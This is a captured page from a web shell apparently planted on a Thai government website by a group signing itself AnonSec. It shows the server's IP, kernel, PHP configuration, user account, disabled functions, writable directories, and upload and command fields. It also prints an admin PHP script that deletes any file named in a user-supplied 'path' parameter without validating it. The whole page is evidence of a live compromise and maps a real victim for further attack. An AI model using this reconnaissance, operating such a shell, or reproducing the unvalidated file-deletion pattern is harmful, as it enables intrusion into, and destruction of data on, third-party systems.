NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.17.60.86
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/top/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/top/action/del-filedoc-top.php
<?php
require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
date_default_timezone_set("Asia/Bangkok"); 

if($STT_login=="admin_login_true"){

    if(isset($_GET['id']) && isset($_GET['path']) ) {

        $del_id = $con_db_administrator->real_escape_string($_GET['id']);
        $del_path = $con_db_administrator->real_escape_string($_GET['path']);

        $del_filedoc = "../../../".$del_path;

        $sql_del_filedoc = " DELETE FROM `data_filedoc_top` WHERE `id_filedoc_top`='$del_id' ";  
        $qr_del_filedoc = $con_db_administrator->query($sql_del_filedoc);
        if(!$qr_del_filedoc){ 	
            echo "<SCRIPT type='text/javascript'>
                    alert(' เกิดข้อผิดพลาด! ไม่สามารถลบข้อมูลได้');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }else{	
            
            @unlink($del_filedoc);

            echo "<SCRIPT type='text/javascript'>
                    alert('ลบข้อมูล สำเร็จ!');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }

    }else{
        echo "<SCRIPT type='text/javascript'>
            alert('เกิดข้อผิดพลาด! ไม่พบข้อมูลที่ต้องการลบ');
            window.location.replace(document.referrer);
        </SCRIPT>";
        exit;
    }

}else{
    echo "<SCRIPT type='text/javascript'>
        alert('กรุณาเข้าสู่ระบบ');
        window.location.replace('../../index');
    </SCRIPT>";
    exit;
}
mysqli_close($con_db_administrator);
?>

Anon7 - 2022
AnonSec Team